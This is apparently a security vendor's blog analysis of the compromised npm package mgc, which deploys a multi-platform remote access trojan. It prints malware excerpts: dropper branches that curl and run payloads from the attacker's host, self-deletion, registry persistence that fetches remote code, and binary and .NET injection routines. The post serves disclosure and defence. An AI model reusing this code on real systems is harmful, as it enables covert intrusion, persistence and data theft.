Compromised npm Package mgc Deploys Multi-Platform RAT

SafeDep Team
14 min read

Table of Contents

TL;DR

mgc, a legitimate npm CLI tool for generating project modules, was compromised via account takeover. Four malicious versions (1.2.1 through 1.2.4) were published on April 2, 2026, each containing a dropper (setup.cjs) that detects the operating system and fetches platform-specific stage-2 payloads from a GitHub Gist. The stage-2 payloads are full Remote Access Trojans (RATs) for Linux (Python) and Windows (PowerShell) that beacon to a C2 server, exfiltrate system information, enumerate directories, execute arbitrary commands, and support binary injection. The Windows payload also establishes registry-based persistence.

Impact:

  • Full remote access to compromised systems (arbitrary command execution, script injection, binary execution)
  • System reconnaissance: hostname, username, OS details, boot time, process listing, directory enumeration
  • Windows persistence via registry Run key and hidden batch file
  • macOS binary dropped to /Library/Caches/com.apple.act.mond, disguised as an Apple system process
  • Anti-forensics: dropper deletes itself after execution

Indicators of Compromise (IoC):

  • Package: [email protected] through [email protected] on npm
  • C2 domain: hxxps://admondtamang[.]com[.]np/gate
  • Stage-2 Gist: hxxps://gist[.]github[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f
  • Stage-2 Linux payload: hxxps://gist[.]githubusercontent[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/1c5d51c2002f452a4dd58a1a73a9dd90a7fe0297/linux[.]payload
  • Stage-2 Windows payload: hxxps://gist[.]githubusercontent[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/1c5d51c2002f452a4dd58a1a73a9dd90a7fe0297/window[.]payload
  • Linux payload path: /tmp/ld.py
  • macOS binary path: /Library/Caches/com.apple.act.mond
  • Windows persistence: HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate
  • Windows batch file: %PROGRAMDATA%\system.bat
  • Windows PowerShell copy: %PROGRAMDATA%\wt.exe
  • SHA256 (tarball): 40aa5d412a50db79a814ac5ad65237745727cb4777843d66a760f64285a5a3e6
  • npm maintainer: admond <[email protected]> (compromised account)

Analysis

Package Overview

mgc (“Module Generate CLI”) is a small CLI tool created by Admond Tamang that scaffolds project boilerplate modules for Express applications. It had three legitimate versions published between August and September 2023 (v1.0.0 through v1.2.0), with minimal adoption (roughly 12 downloads per month, ~165 total over the past 18 months). The maintainer account (admond) has eight packages on npm, and the GitHub repository at admondtamang/module-generate-cli appears to be a genuine project.

On April 2, 2026, four new versions (1.2.1, 1.2.2, 1.2.3, 1.2.4) were published within 30 minutes of each other, after a gap of over two and a half years. The rapid succession of versions is consistent with an attacker iterating on a payload after gaining access to the account.

The C2 domain (admondtamang.com.np) is the developer’s personal domain, and the stage-2 payloads are hosted on a GitHub Gist under the same admondtamang account (created April 1, 2026, with the description “Payloads”). This indicates the attacker compromised both the npm account and the GitHub account.

What Changed: Differential Analysis

Comparing v1.2.0 (legitimate) with v1.2.4 (malicious), the attacker made targeted changes:

New file added: bin/setup.cjs (the dropper, 3088 bytes)

Modified package.json to register a new binary entry:

// package.json diff
- "bin": { "cli": "bin/generate.js" }
+ "bin": { "mgc": "bin/generate.js", "mgc-setup": "bin/setup.cjs" }

Modified bin/generate.js to add a setup subcommand that spawns setup.cjs:

// bin/generate.js (added lines)
import { spawnSync } from 'child_process';
program
.command('setup')
.description('Run the MGC setup')
.action(() => {
const setupPath = path.join(__dirname, 'setup.cjs');
spawnSync(process.execPath, [setupPath], { stdio: 'inherit' });
});

Everything else in the package, including the template modules and service files, remains unchanged from the legitimate version. The attacker added the minimum code necessary to deliver the payload.

Version Evolution: Debugging Malware on the Live Registry

The four malicious versions, published within 30 minutes, reveal the attacker debugging their delivery chain in real time on the live npm registry.

v1.2.1 (06:12 UTC): First attempt, full payload, wrong bin entry

The attacker replaced the original cli bin entry with the malicious setup.js, but did not add a setup subcommand to generate.js:

// v1.2.1 package.json — bin entry
{
"bin": {
"cli": "bin/setup.js", // hijacked: was "cli" -> "bin/generate.js" in v1.2.0
"mgc": "bin/generate.js"
}
}

The dropper contained the full payload (all three OS branches, anti-forensics, C2 communication). However, the only way to trigger it was via npx cli, which is a generic name unlikely to be invoked. The generate.js entry point had no knowledge of setup.js.

v1.2.2 (06:22 UTC): Fix delivery, gut the payload

The attacker fixed the delivery mechanism: renamed the bin entry to mgc-setup and added the setup subcommand to generate.js. But they stripped the payload down to an empty stub, likely to test whether the delivery plumbing worked without risking detection:

// v1.2.2 package.json — bin entry fixed
"cli": "bin/setup.js",
"mgc-setup": "bin/setup.js",
// v1.2.2 bin/setup.js — payload gutted to empty stub
const _entry = function (campaignId) {
process.exit(0);
};
const campaignId = process.argv[2] || 'gate';
_entry(campaignId);
// v1.2.2 bin/generate.js — setup subcommand added
program
.command('setup')
.description('Run the MGC setup')
.action(() => {
const setupPath = path.join(__dirname, 'setup.js');
spawnSync(process.execPath, [setupPath], { stdio: 'inherit' });
});

v1.2.3 (06:35 UTC): Restore the full payload

With the delivery mechanism validated, the attacker restored the complete malicious payload back into setup.js. The generate.js and package.json bin entries remained identical to v1.2.2. The diff between v1.2.2 and v1.2.3 is exactly the payload body being re-inserted into the empty _entry function.

v1.2.4 (06:40 UTC): Fix ESM/CJS compatibility bug

The package declares "type": "module" in package.json, which makes Node.js treat all .js files as ES modules. But the dropper uses require() (CommonJS syntax). Running setup.js would throw:

ReferenceError: require is not defined in ES module scope

The attacker’s fix: rename setup.js to setup.cjs. The .cjs extension forces Node.js to treat the file as CommonJS regardless of the package’s type field:

// v1.2.4 package.json
"mgc-setup": "bin/setup.js"
"mgc-setup": "bin/setup.cjs"
// v1.2.4 bin/generate.js
const setupPath = path.join(__dirname, "setup.js");
const setupPath = path.join(__dirname, "setup.cjs");

The payload itself is byte-for-byte identical between v1.2.3 and v1.2.4.

This iteration pattern (broken delivery -> empty test -> full payload -> runtime bug fix) shows the attacker testing against the live registry rather than using a local staging environment, leaving a forensic trail of each debugging step.

Execution Trigger

The malicious setup.cjs executes when:

  1. A user runs npx mgc-setup or mgc-setup (registered as a bin entry)
  2. A user runs mgc setup (the new subcommand added to generate.js)

The dropper takes a campaign ID from command-line arguments, defaulting to "gate":

bin/setup.cjs
const campaignId = process.argv[2] || 'gate';
_entry(campaignId);

Stage-1: The Dropper

setup.cjs detects the operating system and executes a platform-specific delivery mechanism. All three branches construct the C2 URL as https://admondtamang.com.np/ + campaignId.

macOS (darwin): Writes an AppleScript to a temp file that uses curl to download a binary from the C2 server (hxxps://admondtamang[.]com[.]np/gate), saves it to /Library/Caches/com.apple.act.mond (mimicking an Apple system process name), sets it executable, and runs it in the background:

// bin/setup.cjs — macOS branch
const appleScript = `
set {a, s, d} to {"", "${c2Url}", "/Library/Caches/com.apple.act.mond"}
try
do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \\"" & d & " " & s & " &\\" &> /dev/null"
end try
do shell script "rm -rf ${scriptPath}"`;
fs.writeFileSync(scriptPath, appleScript);
execCommand = `nohup osascript "${scriptPath}" > /dev/null 2>&1 &`;

Windows (win32): Copies PowerShell to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal), then writes a VBScript that downloads the PowerShell stage-2 from hxxps://gist[.]githubusercontent[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/.../window[.]payload and executes it hidden:

// bin/setup.cjs — Windows branch
const wtPath = process.env.PROGRAMDATA + '\\wt.exe';
if (!fs.existsSync(wtPath)) {
fs.copyFileSync(psPath, wtPath);
}
const vbScript = `
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -o ""${ps1Path}"" -s ""${windowsPayloadUrl}"" & ""${wtPath}"" -w hidden -ep bypass -file ""${ps1Path}"" ""${c2Url}"" & del ""${ps1Path}"" /f", 0, False`;

Linux: Downloads a Python RAT from hxxps://gist[.]githubusercontent[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/.../linux[.]payload to /tmp/ld.py and runs it in an infinite loop:

// bin/setup.cjs — Linux branch
execCommand = `curl -o /tmp/ld.py -s ${linuxPayloadUrl} && nohup bash -c 'while true; do python3 /tmp/ld.py ${c2Url}; sleep 2; done' > /dev/null 2>&1 &`;

After launching the stage-2, the dropper performs anti-forensics:

// bin/setup.cjs — anti-forensics
fs.unlink(selfPath, () => {}); // Delete setup.cjs itself
fs.unlink('package.json', () => {}); // Delete malicious package.json
fs.rename('package.md', 'package.json', () => {}); // Attempt to restore clean manifest

The entire function is wrapped in a silent try/catch that swallows all errors, ensuring npm operations always complete without visible errors.

Stage-2: Linux RAT (Python)

The Linux payload (linux.payload) is a ~280-line Python script that implements a full C2 agent. On first execution, it collects initial reconnaissance and sends it to the C2:

# linux.payload — initial recon
def work():
url = sys.argv[1]
uid = generate_random_string(16)
os = get_os()
dir_info = init_dir_info()
body = {
"type": "FirstInfo",
"uid": uid,
"os": os,
"content": dir_info
}
send_result(url, body)
main_work(url, uid)

The init_dir_info() function enumerates the contents of ~/, ~/.config/, ~/Documents/, and ~/Desktop/, sending file names, sizes, modification times, and directory structure to the attacker.

The agent then enters a beacon loop, polling the C2 every 20 seconds with system information:

# linux.payload — beacon loop
data = {
"hostname": get_host_name(),
"username": get_user_name(),
"os": os,
"version": os_version,
"timezone": timezone,
"installDate": installation_time,
"bootTimeString": boot_time,
"currentTimeString": current_time,
"modelName": manufacturer,
"cpuType": product_name,
"processList": ps
}

The C2 can issue four command types:

CommandFunctionDescription
killsys.exit(0)Terminate the agent
peinjectdo_action_ijt()Write a base64-decoded binary to /tmp/.<random>, chmod 777, and execute it
runscriptdo_action_scpt()Execute arbitrary shell commands or base64-encoded Python scripts
rundirdo_action_dir()Enumerate specified directory paths and return file listings

The peinject command is notable: it writes attacker-supplied binary payloads to temp files with random names and executes them:

# linux.payload — binary injection
def do_action_ijt(ijtbin, param):
payload = base64.b64decode(b64_string)
file_path = f"/tmp/.{generate_random_string(6)}"
with open(file_path, "wb") as file:
file.write(payload)
os.chmod(file_path, 0o777)
subprocess.Popen(
[file_path] + shlex.split(param.decode("utf-8", errors="strict"))
)

All communication uses base64-encoded JSON over HTTP POST with a spoofed IE8 User-Agent string: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0).

Stage-2: Windows RAT (PowerShell)

The Windows payload (window.payload) mirrors the Linux RAT’s capabilities with Windows-specific additions.

Persistence: Before entering the beacon loop, it establishes persistence via the registry Run key:

Terminal window
# window.payload — persistence
$regKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$regName = "MicrosoftUpdate"
$batFile = Join-Path $env:PROGRAMDATA "system.bat"
$batCont = "start /min powershell -w h -c " + """" + "& ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing -Uri '" + $url + "' -Method POST -Body 'packages.npm.org/product1').Content))) '" + $url + "'"
Set-Content -Path $batFile -Value $batCont -Encoding ASCII
Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden
Set-ItemProperty -Path $regKey -Name $regName -Value $batFile

This creates a hidden batch file at %PROGRAMDATA%\system.bat that, on every login, fetches a fresh payload from the C2 and executes it via Invoke-WebRequest and ScriptBlock::Create. The registry key MicrosoftUpdate ensures it survives reboots.

Directory enumeration is more aggressive than the Linux variant, scanning Documents, Desktop, OneDrive, AppData\Roaming, and all filesystem drive roots:

Terminal window
# window.payload — initial directory enumeration
$initDir = @(
Join-Path $userDir "Documents"
Join-Path $userDir "Desktop"
Join-Path $userDir "OneDrive"
Join-Path $userDir "AppData\Roaming"
)
$drives = Get-PSDrive -PSProvider FileSystem | ForEach-Object { $_.Root }
$initDir += $drives

.NET assembly injection: The Windows peinject command loads attacker-supplied .NET assemblies via reflection, a technique for in-memory execution that avoids writing executable files to disk:

Terminal window
# window.payload — .NET assembly injection
function Do-Action-Ijt {
param([string] $ijtdll, [string] $ijtbin, [string] $param)
[byte[]]$rotjni = [System.Convert]::FromBase64String($ijtdll)
[byte[]]$daolyap = [System.Convert]::FromBase64String($ijtbin)
$assem = [System.Reflection.Assembly]::Load([byte[]]$rotjni)
$class = $assem.GetType("Extension.SubRoutine")
$method = $class.GetMethod("Run2")
$method.Invoke(0, @([byte[]]$daolyap, (Get-Command cmd).Source, $param))
}

The variable names $rotjni (“injtor” reversed) and $daolyap (“payload” reversed) reveal their purpose through a simple reversal obfuscation.

Shared C2 Protocol and Platform Differences

Both the Linux and Windows stage-2 payloads implement the same C2 protocol, clearly built from a shared specification. All communication uses HTTP POST with base64-encoded JSON bodies and an identical hardcoded IE8 User-Agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)). The C2 URL is passed as a command-line argument from the dropper (sys.argv[1] in Python, $args[0] in PowerShell). Each agent generates a random 16-character alphanumeric UID on first run to identify the infected host.

The beacon sequence is identical across platforms:

  1. FirstInfo: Sent once on startup with the UID, OS identifier, and directory listings of the user’s home, config, and document directories
  2. BaseInfo: Sent in a polling loop (every 20 seconds on Linux, 60 seconds on Windows) with hostname, username, OS version, timezone, boot time, and a full process list
  3. C2 response: Base64-decoded and parsed as JSON. The type field determines which command handler to invoke
  4. CmdResult: Execution result sent back with status "Wow" (success) or "Zzz" (failure)

Both payloads support the same four command types, with platform-specific implementations:

CommandLinux (Python)Windows (PowerShell)
killsys.exit(0)exit 0
peinjectWrites base64-decoded binary to /tmp/.<random>, chmod 0o777, executes via subprocess.PopenLoads .NET assembly in memory via Reflection.Assembly.Load, invokes Extension.SubRoutine.Run2
runscriptExecutes shell command (shell=True) or base64-decoded Python via python3 -cExecutes via powershell.exe -ep Bypass or -EncodedCommand for larger scripts
rundirEnumerates paths using Path.rglob / os.listdirEnumerates using Get-ChildItem -Force

The most significant platform difference is in peinject. On Linux, it writes binaries to disk (hidden dot-prefixed files in /tmp). On Windows, it uses fileless in-memory execution via .NET reflection, avoiding disk writes entirely. The runscript command also diverges: Linux supports both shell commands and Python code execution, while Windows routes everything through PowerShell with execution policy bypass.

The response format is structurally identical across both payloads:

# Linux CmdResult
{"type": "CmdResult", "cmd": "rsp_runscript", "cmdid": "...", "uid": "...", "status": "Wow", "msg": "..."}
Terminal window
# Windows CmdResult
@{type = "CmdResult"; cmd = "rsp_runscript"; cmdid = "..."; uid = $uid; status = "Wow"; msg = "..."}

Attack Infrastructure

The attack leverages the compromised developer’s own infrastructure:

  • C2 domain: admondtamang.com.np (the developer’s personal domain, behind Cloudflare, currently returning HTTP 530)
  • Stage-2 hosting: GitHub Gist under the admondtamang account, created April 1, 2026, titled “Payloads”
  • npm account: admond, which maintains 8 packages including pdf-watermark, multer-ftp-storage, and others

This pattern of compromising both the developer’s package registry account and their personal infrastructure makes the attack harder to detect, as all URLs resolve to the legitimate developer’s known domains.

Campaign Tracking

The dropper uses a campaignId parameter (defaulting to "gate") appended to the C2 URL. The macOS branch references packages.npm.org/product0 and the Windows persistence uses packages.npm.org/product1 as POST body identifiers. This suggests the attacker tracks infections by platform and entry vector, indicating an organized campaign rather than opportunistic compromise.

Threat Attribution: UNC1069 / Sapphire Sleet / BlueNoroff / TA444

The IOCs from this attack directly match the Axios npm supply chain compromise (March 31, 2026), attributed by Google GTIG, Microsoft, Palo Alto Unit 42, and Hunt.io to the North Korean threat group tracked as UNC1069 (Google), Sapphire Sleet (Microsoft), BlueNoroff (Kaspersky), and TA444 (Proofpoint). The malware family is WAVESHAPER.V2, an evolution of the earlier BeaverTail/InvisibleFerret tooling from the Contagious Interview campaign.

Specific IOC overlaps with the documented Axios attack:

  • macOS payload path /Library/Caches/com.apple.act.mond: Exact match. Google GTIG tracks this as the WAVESHAPER.V2 macOS RAT drop path.
  • C2 command protocol (peinject, runscript, rundir, kill): Exact match. Documented by Hunt.io, Qualys ThreatPROTECT, and SANS as the WAVESHAPER.V2 C2 command set.
  • .NET assembly injection via Extension.SubRoutine.Run2: Exact match. Hunt.io’s reverse engineering of the Axios RAT confirms this is the staging implant injected via peinject on Windows.
  • Campaign tracking identifiers packages.npm.org/product0 (macOS) and packages.npm.org/product1 (Windows): Exact match. Documented by SANS, Microsoft, and Google as C2 callback markers used to differentiate platform infections.
  • IE8 User-Agent string: Confirmed WAVESHAPER.V2 IOC, flagged in Sigma APT detection rules and the Hunt.io analysis.
  • Multi-platform delivery architecture (AppleScript dropper + PowerShell RAT + Python RAT): Identical to the Axios attack kill chain.

The mgc compromise occurred on April 2, 2026, two days after the Axios attack (March 31), placing it in the same campaign wave. Our analysis of the Axios compromise documents an identical kill chain: the same setup.js dropper structure, the same packages.npm.org/product{0,1,2} platform identifiers, the same macOS/Windows/Linux branching, and the same anti-forensics pattern of deleting setup.js and swapping package.md into package.json. The Axios dropper used the campaign ID 6202033, while mgc defaults to gate.

While the Axios compromise targeted a package with 60M+ weekly downloads via a trojanized dependency (plain-crypto-js), mgc represents a parallel operation targeting smaller packages through direct account takeover. Both attacks use the same WAVESHAPER.V2 payload infrastructure, but the mgc attacker hosted stage-2 payloads on the compromised developer’s GitHub Gist rather than a dedicated C2 server (sfrclak[.]com), suggesting either a different operator within the same group or infrastructure diversification.

Conclusion

[email protected] through 1.2.4 are compromised versions of a legitimate npm package, weaponized through account takeover to deploy a multi-platform RAT. Developers who installed these versions should check for the indicators listed above, particularly the registry persistence on Windows and the /tmp/ld.py process on Linux. The compromised npm and GitHub accounts should be reported and rotated.

References

  • vet
  • cloud
  • malware

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App